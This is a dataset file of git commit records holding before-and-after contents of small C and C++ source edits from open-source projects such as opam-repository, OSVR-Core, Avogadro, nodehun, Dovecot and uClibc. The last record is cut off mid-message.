{"commit":"36881897a4d772e3141bfe08953c63e08cb5c317","old_file":"packages\/conf-openblas\/conf-openblas.0.2.1\/files\/test.c","new_file":"packages\/conf-openblas\/conf-openblas.0.2.1\/files\/test.c","old_contents":"#include <cblas.h>\n#include <lapacke.h>\n\nint main(int argc, char **argv)\n{\n  int N = 3;\n  double X[] = { 1, 2, 3 };\n  int INCX = 1;\n\tdouble res = cblas_dnrm2(N, X, INCX);\n  return 0;\n}\n","new_contents":"#define _GNU_SOURCE\n#include <cblas.h>\n#include <lapacke.h>\n\nint main(int argc, char **argv)\n{\n  int N = 3;\n  double X[] = { 1, 2, 3 };\n  int INCX = 1;\n\tdouble res = cblas_dnrm2(N, X, INCX);\n  return 0;\n}\n","subject":"Fix alpine (cblas bug fixed in 0.3.16. cpu_set_t isn't defined unless _GNU_SOURCE is)","message":"conf-openblas: Fix alpine (cblas bug fixed in 0.3.16. cpu_set_t isn't defined unless _GNU_SOURCE is)\n","lang":"C","license":"cc0-1.0","repos":"jonludlam\/opam-repository,nberth\/opam-repository,mjambon\/opam-repository,nberth\/opam-repository,djs55\/opam-repository,codinuum\/opam-repository,Leonidas-from-XIV\/opam-repository,pirbo\/opam-repository,emillon\/opam-repository,kkirstein\/opam-repository,djs55\/opam-repository,Chris00\/opam-repository,pirbo\/opam-repository,astrada\/opam-repository,fpottier\/opam-repository,yallop\/opam-repository,andersfugmann\/opam-repository,astrada\/opam-repository,lefessan\/opam-repository,mjambon\/opam-repository,toots\/opam-repository,emillon\/opam-repository,kkirstein\/opam-repository,jhwoodyatt\/opam-repository,ocaml\/opam-repository,toots\/opam-repository,Chris00\/opam-repository,Leonidas-from-XIV\/opam-repository,c-cube\/opam-repository,andersfugmann\/opam-repository,jonludlam\/opam-repository,lefessan\/opam-repository,yallop\/opam-repository,hannesm\/opam-repository,fpottier\/opam-repository,c-cube\/opam-repository,ocaml\/opam-repository,jhwoodyatt\/opam-repository,codinuum\/opam-repository,pqwy\/opam-repository,pqwy\/opam-repository,hannesm\/opam-repository"}
{"commit":"6f245f8f098efa6c9c9e2dcafec83670921c8ea6","old_file":"src\/scanner\/scanner.c","new_file":"src\/scanner\/scanner.c","old_contents":"#include \"scanner.h\"\n","new_contents":"#include \"scanner.h\"\n\nvoid scanner_init() {\n\tscanner_token_init();\n\n\tcurrent_symbol = T_EOF;\n\tscanner_get_symbol();\n}\n\nvoid scanner_token_init() {\n\tT_EOF = -1;\n}\n\nvoid scanner_get_symbol() {\n\t\n}","subject":"Add first (dummy) implementation of functions to make it compile","message":"Add first (dummy) implementation of functions to make it compile\n","lang":"C","license":"mit","repos":"danielkocher\/ocelot2"}
{"commit":"b41ef42f8f551006949b177015ca5792b9d093a0","old_file":"inc\/ogvr\/Util\/DeviceCallbackTypesC.h","new_file":"inc\/ogvr\/Util\/DeviceCallbackTypesC.h","old_contents":"\/** @file\n    @brief Header declaring device callback types\n\n    Must be c-safe!\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n*\/\n\n\/*\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n*\/\n\n#ifndef INCLUDED_DeviceCallbackTypesC_h_GUID_46F72CEE_3327_478F_2DED_ADAAF2EC783C\n#define INCLUDED_DeviceCallbackTypesC_h_GUID_46F72CEE_3327_478F_2DED_ADAAF2EC783C\n\n\/* Internal Includes *\/\n#include <ogvr\/Util\/ReturnCodesC.h>\n\n\/* Library\/third-party includes *\/\n\/* none *\/\n\n\/* Standard includes *\/\n\/* none *\/\n\nOGVR_EXTERN_C_BEGIN\n\n\/** @addtogroup PluginKit\n    @{\n*\/\n\/** @brief Function type of a Sync Device Update callback *\/\ntypedef OGVR_ReturnCode (*OGVR_SyncDeviceUpdateCallback)(void *userData);\n\n\/** @brief Function type of an Async Device Wait callback *\/\ntypedef OGVR_ReturnCode (*OGVR_AsyncDeviceWaitCallback)(void *userData);\n\/** @} *\/\n\nOGVR_EXTERN_C_END\n\n#endif\n","new_contents":"\/** @file\n    @brief Header declaring device callback types\n\n    Must be c-safe!\n\n    @date 2014\n\n    @author\n    Ryan Pavlik\n    <ryan@sensics.com>\n    <http:\/\/sensics.com>\n*\/\n\n\/*\n\/\/ Copyright 2014 Sensics, Inc.\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ (Final version intended to be licensed under\n\/\/ the Apache License, Version 2.0)\n*\/\n\n#ifndef INCLUDED_DeviceCallbackTypesC_h_GUID_46F72CEE_3327_478F_2DED_ADAAF2EC783C\n#define INCLUDED_DeviceCallbackTypesC_h_GUID_46F72CEE_3327_478F_2DED_ADAAF2EC783C\n\n\/* Internal Includes *\/\n#include <ogvr\/Util\/APIBaseC.h>\n#include <ogvr\/Util\/ReturnCodesC.h>\n\n\/* Library\/third-party includes *\/\n\/* none *\/\n\n\/* Standard includes *\/\n\/* none *\/\n\nOGVR_EXTERN_C_BEGIN\n\n\/** @addtogroup PluginKit\n    @{\n*\/\n\/** @brief Function type of a Sync Device Update callback *\/\ntypedef OGVR_ReturnCode (*OGVR_SyncDeviceUpdateCallback)(void *userData);\n\n\/** @brief Function type of an Async Device Wait callback *\/\ntypedef OGVR_ReturnCode (*OGVR_AsyncDeviceWaitCallback)(void *userData);\n\/** @} *\/\n\nOGVR_EXTERN_C_END\n\n#endif\n","subject":"Include a header we use.","message":"Include a header we use.\n","lang":"C","license":"apache-2.0","repos":"Armada651\/OSVR-Core,feilen\/OSVR-Core,feilen\/OSVR-Core,godbyk\/OSVR-Core,leemichaelRazer\/OSVR-Core,godbyk\/OSVR-Core,Armada651\/OSVR-Core,godbyk\/OSVR-Core,godbyk\/OSVR-Core,OSVR\/OSVR-Core,OSVR\/OSVR-Core,d235j\/OSVR-Core,Armada651\/OSVR-Core,OSVR\/OSVR-Core,OSVR\/OSVR-Core,Armada651\/OSVR-Core,OSVR\/OSVR-Core,godbyk\/OSVR-Core,d235j\/OSVR-Core,leemichaelRazer\/OSVR-Core,leemichaelRazer\/OSVR-Core,leemichaelRazer\/OSVR-Core,d235j\/OSVR-Core,leemichaelRazer\/OSVR-Core,d235j\/OSVR-Core,Armada651\/OSVR-Core,feilen\/OSVR-Core,feilen\/OSVR-Core,feilen\/OSVR-Core,OSVR\/OSVR-Core,godbyk\/OSVR-Core,d235j\/OSVR-Core"}
{"commit":"d480cb74aca87fb0b8f371c8ccaba5a771a01166","old_file":"YZLibrary\/NSData+YZLibrary.h","new_file":"YZLibrary\/NSData+YZLibrary.h","old_contents":"\/\/\n\/\/  NSData+YZLibrary.h\n\/\/  YZLibrary\n\/\/\n\/\/  Copyright (c) 2016 Yichi Zhang\n\/\/  https:\/\/github.com\/yichizhang\n\/\/  zhang-yi-chi@hotmail.com\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a\n\/\/  copy of this software and associated documentation files (the \"Software\"),\n\/\/  to deal in the Software without restriction, including without limitation\n\/\/  the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/  and\/or sell copies of the Software, and to permit persons to whom the\n\/\/  Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/  THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/  DEALINGS IN THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSData (YZLibrary)\n\n- (NSString *)yz_MD5String;\n\n@end","new_contents":"\/\/\n\/\/  NSData+YZLibrary.h\n\/\/  YZLibrary\n\/\/\n\/\/  Copyright (c) 2016 Yichi Zhang\n\/\/  https:\/\/github.com\/yichizhang\n\/\/  zhang-yi-chi@hotmail.com\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a\n\/\/  copy of this software and associated documentation files (the \"Software\"),\n\/\/  to deal in the Software without restriction, including without limitation\n\/\/  the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/  and\/or sell copies of the Software, and to permit persons to whom the\n\/\/  Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/  THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/  DEALINGS IN THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface NSData (YZLibrary)\n\n\/**\n *  Returns the MD5 hash of data contained in the receiver.\n *\/\n- (NSString *)yz_MD5String;\n\n@end","subject":"Add comment to NSData's MD5 category method","message":"Add comment to NSData's MD5 category method\n","lang":"C","license":"mit","repos":"yichizhang\/YZLibrary,yichizhang\/YZLibrary,yichizhang\/YZLibrary"}
{"commit":"8c2a1124874edf83fab68bac1df3e1f5a4a45baa","old_file":"avogadro\/core\/mutex.h","new_file":"avogadro\/core\/mutex.h","old_contents":"\/******************************************************************************\n\n  This source file is part of the Avogadro project.\n\n  Copyright 2013 Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n\n#ifndef AVOGADRO_CORE_MUTEX_H\n#define AVOGADRO_CORE_MUTEX_H\n\n#include \"avogadrocore.h\"\n\nnamespace Avogadro {\nnamespace Core {\n\n\/**\n * @class Mutex mutex.h <avogadro\/core\/mutex.h>\n * @brief The Mutex class provides a simple wrapper for the C++11 or Boost mutex\n * class\n * @author Marcus D. Hanwell\n *\n * A very simple, and thin wrapper around the C++11 (or Boost fallback) mutex\n * class, allowing for lock, tryLock and unlock.\n *\/\n\nclass AVOGADROCORE_EXPORT Mutex\n{\npublic:\n  Mutex();\n  ~Mutex();\n\n  \/**\n   * @brief Obtain an exclusive lock.\n   *\/\n  void lock();\n\n  \/**\n   * @brief Attempt to obtain an exclusive lock.\n   * @return True on success, false on failure.\n   *\/\n  bool tryLock();\n\n  \/**\n   * @brief Unlocks the lock.\n   *\/\n  void unlock();\n\nprivate:\n  class PIMPL;\n  PIMPL* d;\n};\n}\n}\n\n#endif \/\/ AVOGADRO_CORE_MUTEX_H\n","new_contents":"\/******************************************************************************\n\n  This source file is part of the Avogadro project.\n\n  Copyright 2013 Kitware, Inc.\n\n  This source code is released under the New BSD License, (the \"License\").\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n\n******************************************************************************\/\n\n#ifndef AVOGADRO_CORE_MUTEX_H\n#define AVOGADRO_CORE_MUTEX_H\n\n#include \"avogadrocore.h\"\n\nnamespace Avogadro {\nnamespace Core {\n\n\/**\n * @class Mutex mutex.h <avogadro\/core\/mutex.h>\n * @brief The Mutex class provides a simple wrapper for the C++11 mutex\n * class\n * @author Marcus D. Hanwell\n *\n * A very simple, and thin wrapper around the C++11 mutex class, allowing for\n * lock, tryLock and unlock.\n *\/\n\nclass AVOGADROCORE_EXPORT Mutex\n{\npublic:\n  Mutex();\n  ~Mutex();\n\n  \/**\n   * @brief Obtain an exclusive lock.\n   *\/\n  void lock();\n\n  \/**\n   * @brief Attempt to obtain an exclusive lock.\n   * @return True on success, false on failure.\n   *\/\n  bool tryLock();\n\n  \/**\n   * @brief Unlocks the lock.\n   *\/\n  void unlock();\n\nprivate:\n  class PIMPL;\n  PIMPL* d;\n};\n}\n}\n\n#endif \/\/ AVOGADRO_CORE_MUTEX_H\n","subject":"Update the documentation - no more Boost","message":"Update the documentation - no more Boost\n\nThis was missed when moving away from the Boost fallback - it is just a\nsimple wrapper for the C++11 class now.\n\nSigned-off-by: Marcus D. Hanwell <cf7042e2e8eee958b5bcde1ae2cbefef82efc184@kitware.com>\n","lang":"C","license":"bsd-3-clause","repos":"OpenChemistry\/avogadrolibs,OpenChemistry\/avogadrolibs,ghutchis\/avogadrolibs,OpenChemistry\/avogadrolibs,ghutchis\/avogadrolibs,ghutchis\/avogadrolibs,ghutchis\/avogadrolibs,ghutchis\/avogadrolibs,OpenChemistry\/avogadrolibs,OpenChemistry\/avogadrolibs"}
{"commit":"4c6bf1e18030906506913e9b14a745fb5f59d182","old_file":"q\/bit_array_sort\/bit_array_sort.c","new_file":"q\/bit_array_sort\/bit_array_sort.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main()\n{\n  unsigned int bit_array = 0;\n  unsigned int a = 1;\n  unsigned int result;\n\n  FILE *fr;\n  FILE *fw;\n  char row[10];\n\n  fr = fopen(\"out\/testdata\", \"r\");\n  if (!fr) {\n    puts(\"read error\");\n    exit(1);\n  }\n\n  while(fgets(row, sizeof(row), fr) != NULL) {\n    int x = atoi(row);\n    bit_array = bit_array | (a << x);\n  }\n\n  fclose(fr);\n\n  fw = fopen(\"out\/output_bit_array_sort\", \"w\");\n  unsigned i;\n  for (i = 0; i < 1000000; i++) {\n    if(fprintf(fw , \"%07u\\n\", bit_array & i) < 0) {\n      puts(\"write error\");\n      exit(1);\n    }\n  }\n\n  fclose(fw);\n\n  return 0;\n}\n\n","subject":"Add sort of numerical sequence by bit array","message":"Add sort of numerical sequence by bit array\n","lang":"C","license":"mit","repos":"bati11\/study-algorithm,bati11\/study-algorithm,bati11\/study-algorithm,bati11\/study-algorithm,bati11\/study-algorithm,bati11\/study-algorithm"}
{"commit":"98387099470e2909fabc63c392b034424be13584","old_file":"src\/HunspellContext.h","new_file":"src\/HunspellContext.h","old_contents":"#ifndef HunspellContext_H\n#define HunspellContext_H\n\n#include <hunspell.hxx>\n#include <napi.h>\n#include <mutex>\n#include <shared_mutex>\n\nclass HunspellContext {\n public:\n  Hunspell* instance;\n \n  HunspellContext(Hunspell* instance): instance(instance) {};\n\n  ~HunspellContext() {\n      if (instance) {\n        delete instance;\n        instance = NULL;\n      }\n  }\n\n  void lockRead() {\n    rwLock.lock_shared();\n  }\n\n  void unlockRead() {\n    rwLock.unlock_shared();\n  }\n\n  void lockWrite() {\n    rwLock.lock();\n  }\n\n  void unlockWrite() {\n    rwLock.unlock();\n  }\n\n private:\n  \/*\n   * The Hunspell instance is not thread safe, so we use a mutex\n   * to manage asynchronous usage.\n   *\/\n  std::shared_mutex rwLock;\n};\n\n#endif","new_contents":"#ifndef HunspellContext_H\n#define HunspellContext_H\n\n#include <hunspell.hxx>\n#include <napi.h>\n#include <mutex>\n#include <shared_mutex>\n#include <uv.h>\n\nclass HunspellContext {\n public:\n  Hunspell* instance;\n \n  HunspellContext(Hunspell* instance): instance(instance) {\n    uv_rwlock_init(&rwLock);\n  };\n\n  ~HunspellContext() {\n      if (instance) {\n        delete instance;\n        instance = NULL;\n      }\n\n      uv_rwlock_destroy(&rwLock);\n  }\n\n  void lockRead() {\n    uv_rwlock_rdlock(&rwLock);\n  }\n\n  void unlockRead() {\n    uv_rwlock_rdunlock(&rwLock);\n  }\n\n  void lockWrite() {\n    uv_rwlock_wrlock(&rwLock);\n  }\n\n  void unlockWrite() {\n    uv_rwlock_wrunlock(&rwLock);\n  }\n\n private:\n  \/*\n   * The Hunspell instance is not thread safe, so we use a mutex\n   * to manage asynchronous usage.\n   *\/\n  uv_rwlock_t rwLock;\n};\n\n#endif","subject":"Switch from std::shared_mutex to libuv's uv_rwlock","message":"Switch from std::shared_mutex to libuv's uv_rwlock\n","lang":"C","license":"mit","repos":"Wulf\/nodehun,nathanjsweet\/nodehun,Wulf\/nodehun,nathanjsweet\/nodehun,Wulf\/nodehun,Wulf\/nodehun"}
{"commit":"02436bea03b1f9a61fb0bc39b2a9f821ac4f6118","old_file":"src\/node.h","new_file":"src\/node.h","old_contents":"#ifndef SRC_NODE_H_\n\n#define SRC_NODE_H_\n\n#include <boost\/serialization\/serialization.hpp>\n#include <boost\/serialization\/access.hpp>\n#include <boost\/serialization\/nvp.hpp>\n#include <memory>\n#include \".\/graphics\/render_data.h\"\n#include \".\/math\/obb.h\"\n#include \".\/graphics\/gl.h\"\n\n\n\/**\n * \\brief Base class for nodes which are managed by the\n * Nodes class\n *\n * The only virtual method which must be implemented is\n * Node::render.\n *\/\nclass Node\n{\n public:\n  virtual ~Node()\n  {\n  }\n\n  virtual void render(Graphics::Gl *gl, RenderData renderData) = 0;\n\n  virtual std::shared_ptr<Math::Obb> getObb()\n  {\n    return std::shared_ptr<Math::Obb>();\n  }\n\n  bool isPersistable()\n  {\n    return persistable;\n  }\n\n protected:\n  Node()\n  {\n  }\n\n  bool persistable = true;\n\n private:\n  friend class boost::serialization::access;\n  template <class Archive>\n  void serialize(Archive &ar, unsigned int version) const\n  {\n  }\n};\n\n#endif  \/\/ SRC_NODE_H_\n","new_contents":"#ifndef SRC_NODE_H_\n\n#define SRC_NODE_H_\n\n#include <boost\/serialization\/serialization.hpp>\n#include <boost\/serialization\/access.hpp>\n#include <boost\/serialization\/nvp.hpp>\n#include <memory>\n#include \".\/graphics\/render_data.h\"\n#include \".\/math\/obb.h\"\n#include \".\/graphics\/gl.h\"\n#include \".\/graphics\/ha_buffer.h\"\n\n\/**\n * \\brief Base class for nodes which are managed by the\n * Nodes class\n *\n * The only virtual method which must be implemented is\n * Node::render.\n *\/\nclass Node\n{\n public:\n  virtual ~Node()\n  {\n  }\n\n  virtual void render(Graphics::Gl *gl, RenderData renderData) = 0;\n\n  void render(Graphics::Gl *gl, std::shared_ptr<Graphics::HABuffer> haBuffer,\n              RenderData renderData)\n  {\n    this->haBuffer = haBuffer;\n    render(gl, renderData);\n  }\n\n  virtual std::shared_ptr<Math::Obb> getObb()\n  {\n    return std::shared_ptr<Math::Obb>();\n  }\n\n  bool isPersistable()\n  {\n    return persistable;\n  }\n\n protected:\n  Node()\n  {\n  }\n\n  bool persistable = true;\n  std::shared_ptr<Graphics::HABuffer> haBuffer;\n\n private:\n  friend class boost::serialization::access;\n  template <class Archive>\n  void serialize(Archive &ar, unsigned int version) const\n  {\n  }\n};\n\n#endif  \/\/ SRC_NODE_H_\n","subject":"Store haBuffer shared_ptr in Node.","message":"Store haBuffer shared_ptr in Node.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"cdb2eaafed65da729c51179cab0d0b31692cfea7","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(struct client *client)\n{\n\tstruct mail_storage *storage;\n\tconst char *mailbox;\n\tint directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\n\tstorage = client_find_storage(client, &mailbox);\n\tif (storage == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(mailbox);\n\tif (mailbox[len-1] != mail_storage_get_hierarchy_sep(storage))\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(client, mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(client, storage);\n\telse\n\t\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(struct client *client)\n{\n\tstruct mail_storage *storage;\n\tconst char *mailbox, *full_mailbox;\n\tint directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tstorage = client_find_storage(client, &mailbox);\n\tif (storage == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(mailbox);\n\tif (mailbox[len-1] != mail_storage_get_hierarchy_sep(storage))\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(client, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(client, storage);\n\telse\n\t\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE was broken if namespace prefixes were set. Patch by Andreas Fuchs.","message":"CREATE was broken if namespace prefixes were set. Patch by Andreas Fuchs.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot"}
{"commit":"ce2291a23cef5aba2b58bfce2cc57751f58a1c2c","old_file":"common\/guiddatabase.h","new_file":"common\/guiddatabase.h","old_contents":"\/* guiddatabase.h\n\nCopyright (c) 2017, LongSoft. All rights reserved.\nThis program and the accompanying materials\nare licensed and made available under the terms and conditions of the BSD License\nwhich accompanies this distribution.  The full text of the license may be found at\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\n\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\nWITHWARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n*\/\n\n#ifndef GUID_DATABASE_H\n#define GUID_DATABASE_H\n\n#include <map>\n#include <string>\n\n#include \"basetypes.h\"\n#include \"ustring.h\"\n#include \"ffsparser.h\"\n#include \"ffs.h\"\n#include \"utility.h\"\n\nstruct OperatorLessForGuids : public std::binary_function<EFI_GUID, EFI_GUID, bool>\n{\n    bool operator()(const EFI_GUID& lhs, const EFI_GUID& rhs) const\n    {\n        return (memcmp(&lhs, &rhs, sizeof(EFI_GUID)) < 0);\n    }\n};\n\ntypedef std::map<EFI_GUID, UString, OperatorLessForGuids> GuidDatabase;\n\nUString guidDatabaseLookup(const EFI_GUID & guid);\nvoid initGuidDatabase(const UString & path = \"\", UINT32* numEntries = NULL);\nGuidDatabase guidDatabaseFromTreeRecursive(TreeModel * model, const UModelIndex index);\nUSTATUS guidDatabaseExportToFile(const UString & outPath, GuidDatabase & db);\n\n#endif \/\/ GUID_DATABASE_H\n","new_contents":"\/* guiddatabase.h\n\nCopyright (c) 2017, LongSoft. All rights reserved.\nThis program and the accompanying materials\nare licensed and made available under the terms and conditions of the BSD License\nwhich accompanies this distribution.  The full text of the license may be found at\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\n\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\nWITHWARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\n*\/\n\n#ifndef GUID_DATABASE_H\n#define GUID_DATABASE_H\n\n#include <map>\n#include <string>\n\n#include \"basetypes.h\"\n#include \"ustring.h\"\n#include \"ffsparser.h\"\n#include \"ffs.h\"\n#include \"utility.h\"\n\nstruct OperatorLessForGuids\n{\n    bool operator()(const EFI_GUID& lhs, const EFI_GUID& rhs) const\n    {\n        return (memcmp(&lhs, &rhs, sizeof(EFI_GUID)) < 0);\n    }\n};\n\ntypedef std::map<EFI_GUID, UString, OperatorLessForGuids> GuidDatabase;\n\nUString guidDatabaseLookup(const EFI_GUID & guid);\nvoid initGuidDatabase(const UString & path = \"\", UINT32* numEntries = NULL);\nGuidDatabase guidDatabaseFromTreeRecursive(TreeModel * model, const UModelIndex index);\nUSTATUS guidDatabaseExportToFile(const UString & outPath, GuidDatabase & db);\n\n#endif \/\/ GUID_DATABASE_H\n","subject":"Fix CMAKE_CXX_STANDARD 17 build on Windows","message":"Fix CMAKE_CXX_STANDARD 17 build on Windows\n","lang":"C","license":"bsd-2-clause","repos":"LongSoft\/UEFITool,LongSoft\/UEFITool,LongSoft\/UEFITool"}
{"commit":"2c0940f05fc6c53a20fb4f3d6ad1b1e39459dbbb","old_file":"mud\/include\/kotaka\/paths\/utility.h","new_file":"mud\/include\/kotaka\/paths\/utility.h","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2018  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <config.h>\n\n\/* daemons *\/\n\n#define MATHD\t\t(USR_DIR + \"\/Utility\/sys\/mathd\")\n#define SORTD\t\t(USR_DIR + \"\/Utility\/sys\/sortd\")\n#define SUBD\t\t(USR_DIR + \"\/Utility\/sys\/subd\")\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2018  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <config.h>\n\n\/* daemons *\/\n\n#define SUBD\t\t(USR_DIR + \"\/Utility\/sys\/subd\")\n","subject":"Remove MATHD and SORTD macros","message":"Remove MATHD and SORTD macros\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"eeb2918922a49522b73cb10d41ea0fbd03af1180","old_file":"libc\/sysdeps\/linux\/common\/getgid.c","new_file":"libc\/sysdeps\/linux\/common\/getgid.c","old_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getgid() for uClibc\n *\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n\n#if defined __NR_getxgid\n# define __NR_getgid __NR_getxgid\n#endif\n_syscall0(gid_t, getgid);\nlibc_hidden_proto(getgid)\nlibc_hidden_def(getgid)\n","new_contents":"\/* vi: set sw=4 ts=4: *\/\n\/*\n * getgid() for uClibc\n *\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n\n#include \"syscalls.h\"\n#include <unistd.h>\n\n#if defined __NR_getxgid\n# define __NR_getgid __NR_getxgid\n#endif\nlibc_hidden_proto(getgid)\n_syscall0(gid_t, getgid);\nlibc_hidden_def(getgid)\n","subject":"Make gcc4 happy as well","message":"Make gcc4 happy as 